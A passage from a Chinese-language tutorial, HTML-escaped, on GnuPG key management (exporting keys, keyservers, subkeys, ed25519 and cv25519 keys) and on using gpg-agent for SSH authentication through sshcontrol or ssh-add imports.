&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dao-chu-dao-ru&quot;&gt;导出&#x2F;导入&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 导出公钥（文本格式）
gpg --armor --export peter &amp;gt; public.asc

# 导出私钥
gpg --armor --export-secret-key peter &amp;gt; private.asc

# 导入
gpg --import key.asc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;导出&#x2F;导入的单位是&quot;完整身份&quot;&lt;&#x2F;strong&gt;：&lt;code&gt;--export &amp;lt;任意id&amp;gt;&lt;&#x2F;code&gt;（主密钥 id、子密钥 id）输出&lt;strong&gt;完全相同&lt;&#x2F;strong&gt;的包（实测 md5 一致）——主密钥公钥 + uid + 全部子密钥公钥 + 各证书。子密钥不能脱离身份单独存在；&lt;code&gt;--export &amp;lt;主id&amp;gt;!&lt;&#x2F;code&gt;（带 &lt;code&gt;!&lt;&#x2F;code&gt;）可只导出主密钥+uid（不含子密钥），但接收方会因缺 &lt;code&gt;[E]&lt;&#x2F;code&gt; 子密钥&lt;strong&gt;无法加密&lt;&#x2F;strong&gt;（实测加密失败）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gong-yao-fu-wu-qi-keyserver&quot;&gt;公钥服务器（Keyserver）&lt;&#x2F;h3&gt;
&lt;p&gt;公钥服务器是&lt;strong&gt;公钥目录服务&lt;&#x2F;strong&gt;，只存公钥（绝无私钥），作用如&quot;电话簿&quot;：别人按邮箱&#x2F;指纹搜索下载你的公钥。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 搜索并下载公钥
gpg --keyserver hkps:&amp;#x2F;&amp;#x2F;keys.openpgp.org --search-keys &amp;lt;UID或邮箱&amp;gt;
# 已知密钥 ID 直接接收
gpg --keyserver hkps:&amp;#x2F;&amp;#x2F;keys.openpgp.org --recv-keys &amp;lt;KEY_ID&amp;gt;
# 上传自己的公钥(上传后需邮箱验证才被收录)
gpg --keyserver hkps:&amp;#x2F;&amp;#x2F;keys.openpgp.org --send-keys &amp;lt;KEY_ID&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;SKS 池 vs 现代单服务器&lt;&#x2F;strong&gt;：SKS 池是去中心化多节点同步（可匿名上传、易被垃圾密钥污染、难删除）；keys.openpgp.org 等现代服务器是单中心（上传需邮件验证确认身份、支持删除、可靠性高）。现代实践不再依赖池。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;keys.openpgp.org 的特殊规则&lt;&#x2F;strong&gt;（官方文档）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;非身份信息&lt;&#x2F;strong&gt;（全部子密钥 + 元数据）→ 全部存储分发，只要通过完整性校验&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;身份信息&lt;&#x2F;strong&gt;（uid）→ 需邮箱验证同意后才发布（隐私保护）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以 &lt;code&gt;--send-keys &amp;lt;主id&amp;gt;&lt;&#x2F;code&gt; 上传时&lt;strong&gt;所有子密钥都会跟着上传&lt;&#x2F;strong&gt;——keyserver 不提供&quot;只保留指定子密钥&quot;的裁剪功能；gpg 本地也没有（&lt;code&gt;--export-filter drop-subkey&lt;&#x2F;code&gt; 只支持按数值字段过滤，不支持按 keyid）。想精简只能生成密钥时就规划好子密钥数量，或对废弃子密钥用 &lt;code&gt;--revoke&lt;&#x2F;code&gt; 吊销。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Keyserver 只解决&quot;找得到公钥&quot;，不解决&quot;公钥是真的&quot;&lt;&#x2F;strong&gt;：从服务器下载的公钥必须&lt;strong&gt;独立渠道核对指纹&lt;&#x2F;strong&gt;（当面&#x2F;电话&#x2F;IM）后再 &lt;code&gt;--sign-key&lt;&#x2F;code&gt; 信任，信任链（Web of Trust）只针对主密钥，子密钥随身份被验证而非被信任。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qian-ming-cao-zuo&quot;&gt;签名操作&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --sign file.txt           # 签名后内嵌原文
gpg --clearsign file.txt      # 签名后原文可读
gpg --detach-sign file.txt    # 分离签名，生成 .sig 文件
gpg --verify file.txt.asc     # 验证签名
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jia-mi-jie-mi&quot;&gt;加密&#x2F;解密&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 发送方使用接收方公钥加密
gpg -r &amp;lt;recipient&amp;gt; --encrypt file.txt

# 接收方使用自己的私钥解密
gpg --decrypt file.txt.asc &amp;gt; file.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;tong-shi-qian-ming-he-jia-mi&quot;&gt;同时签名和加密&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --local-user &amp;lt;sender&amp;gt; --recipient &amp;lt;receiver&amp;gt; --armor --sign --encrypt file.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xin-ren-wang-luo&quot;&gt;信任网络&lt;&#x2F;h3&gt;
&lt;p&gt;GPG 不依赖 PKI，而是通过&quot;信任网&quot;（Web of Trust）建立信任：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --sign-key &amp;lt;key-id&amp;gt;   # 用自己的密钥签名对方的公钥
gpg --check-sigs          # 检查签名
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;zhu-mi-yao-ge-ren-gen-ca&quot;&gt;主密钥 ≈ 个人&quot;根 CA&quot;&lt;&#x2F;h4&gt;
&lt;p&gt;主密钥的 &lt;code&gt;[C]&lt;&#x2F;code&gt; 认证能力（Certify）本质就是 CA 式的签名能力：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;OpenPGP 概念&lt;&#x2F;th&gt;&lt;th&gt;CA 类比&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;主密钥 &lt;code&gt;[C]&lt;&#x2F;code&gt; 认证能力&lt;&#x2F;td&gt;&lt;td&gt;CA 的证书签名能力&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;对自身 UID 的签名（self-sig）&lt;&#x2F;td&gt;&lt;td&gt;CA 给自己签发证书&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpg --sign-key&lt;&#x2F;code&gt; 认证他人&lt;&#x2F;td&gt;&lt;td&gt;CA 签发被认证者的证书&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;子密钥（&lt;code&gt;[S]&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;[E]&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;[A]&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;CA 签发的&quot;用途受限&quot;证书&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;密钥过期 &#x2F; 吊销证书&lt;&#x2F;td&gt;&lt;td&gt;证书有效期 &#x2F; CRL 吊销&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;关键区别——信任模型&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;X.509&lt;&#x2F;strong&gt;：层级制，信任靠&quot;根 CA → 中间 CA → 叶子证书&quot;的&lt;strong&gt;信任链&lt;&#x2F;strong&gt;，单向、自上而下&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;OpenPGP&lt;&#x2F;strong&gt;：&lt;strong&gt;去中心化信任网&lt;&#x2F;strong&gt;，没有固定根；任何主密钥都能给别人签发认证，自己是自己的根、同时也能当别人的&quot;CA&quot;——信任不靠链条继承，而靠&quot;我认识的人签过他的钥匙&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以每次 &lt;code&gt;gpg --sign-key&lt;&#x2F;code&gt; 都是在执行一次 CA 式的认证动作，只是没有全局权威——整个 GPG 生态是&quot;人人都是 CA&quot;的分布式体系。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-mi-yao-guan-li&quot;&gt;子密钥管理&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --expert --edit-key peterxiao
  gpg&amp;gt; addkey             # 添加子密钥
  gpg&amp;gt; key 2              # 选择子密钥
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;最佳实践&lt;&#x2F;strong&gt;：生成主密钥后，导出备份到物理存储设备，然后从日常设备中删除主密钥仅保留子密钥：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg -a --export-secret-keys &amp;gt; master-secret-key.gpg
gpg -a --export-secret-subkeys &amp;gt; sub-secret-keys.gpg
gpg --delete-secret-key &amp;lt;key-id&amp;gt;
gpg --import sub-secret-keys.gpg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时 &lt;code&gt;gpg --list-secret-keys&lt;&#x2F;code&gt; 会显示 &lt;code&gt;sec#&lt;&#x2F;code&gt;（主密钥已删除）。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;mi-yao-jie-gou-ed25519-zhu-mi-yao-cv25519-jia-mi-zi-mi-yao&quot;&gt;密钥结构：ed25519 主密钥 + cv25519 加密子密钥&lt;&#x2F;h4&gt;
&lt;p&gt;现代 GnuPG 新密钥默认组合是主密钥 ed25519 + 加密子密钥 cv25519。两者都基于 Curve25519，是同一条曲线的两种数学形态（Montgomery ↔ twisted Edwards 双有理等价），但算法和用途完全不同、密钥对相互独立：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;ed25519（主密钥）&lt;&#x2F;th&gt;&lt;th&gt;cv25519（加密子密钥）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;曲线形式&lt;&#x2F;td&gt;&lt;td&gt;twisted Edwards&lt;&#x2F;td&gt;&lt;td&gt;Montgomery（X25519）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;算法&lt;&#x2F;td&gt;&lt;td&gt;EdDSA 签名&lt;&#x2F;td&gt;&lt;td&gt;ECDH 密钥交换&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用途&lt;&#x2F;td&gt;&lt;td&gt;签名&#x2F;认证&#x2F;证书（usage &lt;code&gt;sc&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;加密（usage &lt;code&gt;e&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;能否加密&lt;&#x2F;td&gt;&lt;td&gt;❌ 签名算法无密钥协商能力&lt;&#x2F;td&gt;&lt;td&gt;✅ 协商会话密钥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;能否签名&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;&quot;一条曲线，两种形态&quot;&lt;&#x2F;strong&gt;：Curve25519 最初以 Montgomery 形式（X25519）定义；Ed25519 签名所用的是它的 twisted Edwards 同构曲线，两者通过双有理变换互转，共享相同的基础群与安全参数。名字都带&quot;25519&quot;指的是同一条曲线，但一个在上面跑 EdDSA 签名、一个跑 ECDH 密钥交换——&lt;strong&gt;ed25519 与 cv25519 是两套完全独立的密钥对，之间没有任何数学关联&lt;&#x2F;strong&gt;（曲线相同 ≠ 密钥相同，公钥点不落在对方坐标系里，无法互推）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为什么签名和加密必须分开&lt;&#x2F;strong&gt;：OpenPGP 规定同一密钥对的用途必须单一。若共用一对密钥，攻击者可诱导你&quot;签名&quot;任意密文（签名 = 解密的数学逆运算），等于借你的手解密。分离后主密钥 &lt;code&gt;[SC]&lt;&#x2F;code&gt; 只做签名&#x2F;认证&#x2F;证书，加密永远走独立子密钥；加密子密钥泄露可单独吊销，不影响身份签名与信任链。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;生成时的默认行为&lt;&#x2F;strong&gt;：&lt;code&gt;gpg --full-generate-key&lt;&#x2F;code&gt; 选 ECC 时默认组合即 ed25519 主密钥（usage &lt;code&gt;sc&lt;&#x2F;code&gt;）+ cv25519 加密子密钥（usage &lt;code&gt;e&lt;&#x2F;code&gt;）；想自定义算法&#x2F;能力用 &lt;code&gt;--expert&lt;&#x2F;code&gt;。老版本（GnuPG &amp;lt; 2.1，2016 年前）不支持 ECC，只能 RSA。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;查看密钥结构&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --list-keys --with-keygrip &amp;lt;key-id&amp;gt;
#   pub   ed25519 2025-07-18 [SC]
#       指纹：主密钥指纹
#       keygrip：主密钥 keygrip
#   sub   cv25519 2025-07-18 [E]
#       指纹：子密钥指纹
#       keygrip：子密钥 keygrip
# 每个 sub 行是一组独立的公私钥对；加密时 gpg 自动选用第一个可用的 [E] 子密钥
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;安全强度对比&lt;&#x2F;strong&gt;：255-bit 椭圆曲线群 ≈ RSA 3072 的安全强度，但签名短（64 字节 vs RSA-3072 的 384 字节）、密钥生成快、CPU 占用低。代价是兼容性：ECC 公钥无法被不支持它的旧客户端使用（如部分 2016 年前的工具、老智能卡固件），而 RSA 是老牌通用选择。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gnome-keyring-ji-cheng&quot;&gt;Gnome Keyring 集成&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ssh-key-guan-li&quot;&gt;SSH key 管理&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install seahorse
# 首次 SSH 连接时提示输入 passphrase，可勾选&amp;quot;自动解锁&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;git-ping-ju&quot;&gt;Git 凭据&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install libsecret
git config --global credential.helper &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;git-core&amp;#x2F;git-credential-libsecret
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gnupg-ji-cheng&quot;&gt;GnuPG 集成&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo &amp;#x27;pinentry-program &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;pinentry-gnome3&amp;#x27; &amp;gt;&amp;gt; ~&amp;#x2F;.gnupg&amp;#x2F;gpg-agent.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shi-yong-gpg-mi-yao-jin-xing-ssh-ren-zheng&quot;&gt;使用 GPG 密钥进行 SSH 认证&lt;&#x2F;h2&gt;
&lt;p&gt;gpg-agent 开启 &lt;code&gt;enable-ssh-support&lt;&#x2F;code&gt; 后可完全替代 ssh-agent：它在 &lt;code&gt;S.gpg-agent.ssh&lt;&#x2F;code&gt; socket 上讲标准 SSH agent 协议，ssh 客户端无感知，&lt;code&gt;ssh&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;scp&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;git&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ssh -A&lt;&#x2F;code&gt; 转发全部照常工作。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;enable-ssh-support&lt;&#x2F;code&gt; 是两种方式共同的前提&lt;&#x2F;strong&gt;（不是方式 A 专属步骤）：它让 gpg-agent 创建 &lt;code&gt;S.gpg-agent.ssh&lt;&#x2F;code&gt; socket、对外讲 SSH agent 协议。没有它，方式 A 的 sshcontrol 密钥不会暴露给 ssh，方式 B 的 &lt;code&gt;ssh-add&lt;&#x2F;code&gt; 也根本连不上端点。方式 A &#x2F; B 的区别只在&lt;strong&gt;服务哪些密钥&lt;&#x2F;strong&gt;：sshcontrol 里登记的 GPG 密钥 vs ssh-add 导入的原生密钥副本，SSH 支持本身两者都需要。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;fang-shi-a-gpg-mi-yao-zhi-jie-yong-zuo-ssh-ren-zheng-sshcontrol&quot;&gt;方式 A：GPG 密钥直接用作 SSH 认证（sshcontrol）&lt;&#x2F;h3&gt;
&lt;p&gt;用 GPG 密钥替代 SSH 密钥，减少需要管理的密钥文件。本地侧只需两步：登记 keygrip + 导出公钥上服务器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo enable-ssh-support &amp;gt;&amp;gt; ~&amp;#x2F;.gnupg&amp;#x2F;gpg-agent.conf

# 在 .bashrc 中设置(顺序不能反:GPG_TTY 必须最先导出)
export SSH_AUTH_SOCK=&amp;quot;$(gpgconf --list-dirs agent-ssh-socket)&amp;quot;
export GPG_TTY=&amp;quot;$(tty)&amp;quot;
gpg-connect-agent updatestartuptty &amp;#x2F;bye &amp;gt;&amp;#x2F;dev&amp;#x2F;null

# 注意:updatestartuptty 依赖客户端发 OPTION ttyname(来自 GPG_TTY)。
# 不导出 GPG_TTY 时它静默返回 OK 但 startup_tty 为空, 导致 ssh-add 导入密钥时
# pinentry 起不来(报 Inappropriate ioctl &amp;#x2F; agent refused operation),
# 而 pass&amp;#x2F;gpg 等 gpg 路径因客户端自带 ttyname 不受影响, 极具迷惑性。

# 获取子密钥 keygrip
gpg --list-keys --with-keygrip

# 将 keygrip 添加到批准列表
echo &amp;lt;keygrip&amp;gt; &amp;gt;&amp;gt; ~&amp;#x2F;.gnupg&amp;#x2F;sshcontrol

# 查看已加载的 SSH 密钥
ssh-add -l

# 导出 SSH 公钥
gpg --export-ssh-key &amp;lt;key-id&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;wan-zheng-mian-mi-deng-lu-liu-cheng-fu-wu-qi-ce&quot;&gt;完整免密登录流程（服务器侧）&lt;&#x2F;h4&gt;
&lt;p&gt;本地登记 sshcontrol 后，服务器侧只需把公钥放进 &lt;code&gt;authorized_keys&lt;&#x2F;code&gt;（&lt;strong&gt;服务器不需要任何 GPG 组件&lt;&#x2F;strong&gt;），等价 &lt;code&gt;ssh-copy-id&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 方法一：导出公钥(authorized_keys 格式)并管道直传
gpg --export-ssh-key &amp;lt;key-id&amp;gt; | ssh user@server \
  &amp;#x27;mkdir -p ~&amp;#x2F;.ssh &amp;amp;&amp;amp; chmod 700 ~&amp;#x2F;.ssh &amp;amp;&amp;amp; cat &amp;gt;&amp;gt; ~&amp;#x2F;.ssh&amp;#x2F;authorized_keys &amp;amp;&amp;amp; chmod 600 ~&amp;#x2F;.ssh&amp;#x2F;authorized_keys&amp;#x27;

# 方法二：先落文件再 ssh-copy-id
gpg --export-ssh-key &amp;lt;key-id&amp;gt; &amp;gt; ~&amp;#x2F;.ssh&amp;#x2F;gpg-key.pub
ssh-copy-id -i ~&amp;#x2F;.ssh&amp;#x2F;gpg-key.pub user@server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gpg --export-ssh-key &amp;lt;key-id&amp;gt;&lt;&#x2F;code&gt; 输出即 OpenSSH 公钥行；&lt;code&gt;&amp;lt;key-id&amp;gt;!&lt;&#x2F;code&gt; 加叹号可导出&lt;strong&gt;指定子密钥&lt;&#x2F;strong&gt;的公钥&lt;&#x2F;li&gt;
&lt;li&gt;每台目标服务器都要装一次公钥&lt;&#x2F;li&gt;
&lt;li&gt;认证流程：&lt;code&gt;ssh&lt;&#x2F;code&gt; → 本地 ssh-agent（即 gpg-agent）用 sshcontrol 登记的密钥签名 → 服务器按 &lt;code&gt;authorized_keys&lt;&#x2F;code&gt; 验签；首次弹 pinentry 解锁，缓存期内免密&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;shi-ce-zhu-mi-yao-sc-wu-a-neng-li-ye-neng-yong&quot;&gt;实测：主密钥 [SC] 无 [A] 能力也能用&lt;&#x2F;h4&gt;
&lt;p&gt;gpg-agent 的 SSH 协议实现&lt;strong&gt;不校验密钥的 &lt;code&gt;[A]&lt;&#x2F;code&gt; 认证能力标记&lt;&#x2F;strong&gt;：把 &lt;code&gt;[SC]&lt;&#x2F;code&gt; 主密钥的 keygrip 写入 sshcontrol 后，&lt;code&gt;ssh-add -L&lt;&#x2F;code&gt; 立即出现对应身份、可正常签名。所以「必须有 [A] 子密钥」不是硬性要求。但规范做法仍是单独添加 &lt;code&gt;[A]&lt;&#x2F;code&gt; 认证子密钥，登记&#x2F;导出子密钥——主密钥长期持有且可签名，泄露面与风险都更大：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --edit-key &amp;lt;key-id&amp;gt;
# addkey → (8) Authenticate → 生成 ed25519 [A] 子密钥
# 把子密钥 keygrip 写入 sshcontrol; 导出用 gpg --export-ssh-key &amp;lt;key-id&amp;gt;!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;yu-fang-shi-b-de-kou-ling-mo-xing-chai-yi&quot;&gt;与方式 B 的口令模型差异&lt;&#x2F;h4&gt;
&lt;p&gt;方式 A 的密钥属于 &lt;strong&gt;GPG 密钥库&lt;&#x2F;strong&gt;（&lt;code&gt;gpg --list-secret-keys&lt;&#x2F;code&gt; 可见），主密钥与全部子密钥&lt;strong&gt;共享同一个主密钥口令&lt;&#x2F;strong&gt;——解锁&#x2F;预设一次即可全部刷新；方式 B 导入的原生密钥&lt;strong&gt;每把保护口令独立&lt;&#x2F;strong&gt;。缓存刷新手段不同：GPG 密钥库可用 &lt;code&gt;gpg-preset-passphrase&lt;&#x2F;code&gt; 用主口令一次预设全部；原生密钥同样可以用 &lt;code&gt;gpg-preset-passphrase&lt;&#x2F;code&gt; 刷新，但必须&lt;strong&gt;逐把提供各自的保护口令&lt;&#x2F;strong&gt;（= 导入时设置的口令，可能 ≠ 文件口令），无法一次统一预设。&lt;strong&gt;注意：&lt;code&gt;ssh-add&lt;&#x2F;code&gt; 对 gpg-agent 已注册密钥无法刷新缓存&lt;&#x2F;strong&gt;——重加是 no-op、&lt;code&gt;ssh-add -d&lt;&#x2F;code&gt; 对 sshcontrol 密钥被 agent 忽略（卸载即重挂），详见「问答记录」。（详见「口令缓存机制」与「三种标识符」章节）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-shi-b-ba-yi-you-ssh-mi-yao-dao-ru-gpg-agent&quot;&gt;方式 B：把已有 SSH 密钥导入 gpg-agent&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.ssh&#x2F;id_xxx&lt;&#x2F;code&gt; 原件不动，直接用 &lt;code&gt;ssh-add&lt;&#x2F;code&gt; 导入（RSA&#x2F;ECDSA&#x2F;Ed25519 均支持，gpg-agent 会转成内部 keygrip 格式）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh-add ~&amp;#x2F;.ssh&amp;#x2F;id_ed25519    # 导入时若原密钥带口令，需输一次
# 之后可用 ssh-add -l 查看
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;与 ssh-agent 的关键差异：导入是持久化的&lt;&#x2F;strong&gt;。ssh-agent 每次重启（注销&#x2F;重启）内存清空，所有密钥丢失，必须重新 &lt;code&gt;ssh-add&lt;&#x2F;code&gt;；gpg-agent 导入时把密钥加密落盘 &lt;code&gt;private-keys-v1.d&#x2F;&lt;&#x2F;code&gt; 并自动登记进 &lt;code&gt;sshcontrol&lt;&#x2F;code&gt;，&lt;strong&gt;重启后自动可用&lt;&#x2F;strong&gt;，不需要再添加。只有 &lt;code&gt;ssh-add -d&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;-D&lt;&#x2F;code&gt; 删除或手动从 sshcontrol 移除才会失效。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;导入时设置的是 keystore 保护口令，不是原密钥口令&lt;&#x2F;strong&gt;：ssh-add 导入会弹两次 pinentry——第一次是 ssh-add 读原密钥文件的原口令（&lt;code&gt;SSH_ASKPASS&lt;&#x2F;code&gt; 阶段），第二、三次是 gpg-agent 要求为 &lt;code&gt;private-keys-v1.d&#x2F;&lt;&#x2F;code&gt; 副本&lt;strong&gt;新设一个保护口令并重复确认&lt;&#x2F;strong&gt;（&lt;code&gt;SETDESC &quot;请输入一个密码，以便于在 gpg-agent 的密钥存储中保护接收到的私钥&quot;&lt;&#x2F;code&gt;）。之后每次使用该密钥，提供的是&lt;strong&gt;保护口令&lt;&#x2F;strong&gt;（原文件口令不再参与）。所以：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;gpg-agent &lt;strong&gt;没有自己的口令&lt;&#x2F;strong&gt;（无&quot;gpg-agent 口令&quot;概念），每把密钥的 &lt;code&gt;.key&lt;&#x2F;code&gt; 文件各自独立上锁&lt;&#x2F;li&gt;
&lt;li&gt;不同密钥可设不同保护口令，TTL 缓存各自独立；实际建议全部统一为一个口令，体验等价&quot;一个口令管所有&quot;&lt;&#x2F;li&gt;
&lt;li&gt;导入无口令密钥时同样会要求设置保护口令（gpg-agent 不允许 keystore 副本明文）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;修改 keystore 保护口令（官方 PASSWD 命令）&lt;&#x2F;strong&gt;：gpg-agent 提供官方改口令命令（源码 agent&#x2F;command.c 的 &lt;code&gt;PASSWD&lt;&#x2F;code&gt;），&lt;strong&gt;必须验证旧口令&lt;&#x2F;strong&gt;才能设置新口令，比&quot;删除 .key 重新导入&quot;更安全规范：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 找到 keygrip(文件名即 keygrip)
ls ~&amp;#x2F;.gnupg&amp;#x2F;private-keys-v1.d&amp;#x2F;

# 2. 改口令(交互式, 弹 pinentry: 先输旧口令验证 → 再输新口令两次确认)
gpg-connect-agent &amp;quot;PASSWD &amp;lt;keygrip&amp;gt;&amp;quot; &amp;#x2F;bye
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;全程按 keygrip 操作，不区分 GPG&#x2F;SSH 密钥，对 ssh 导入的密钥同样适用&lt;&#x2F;li&gt;
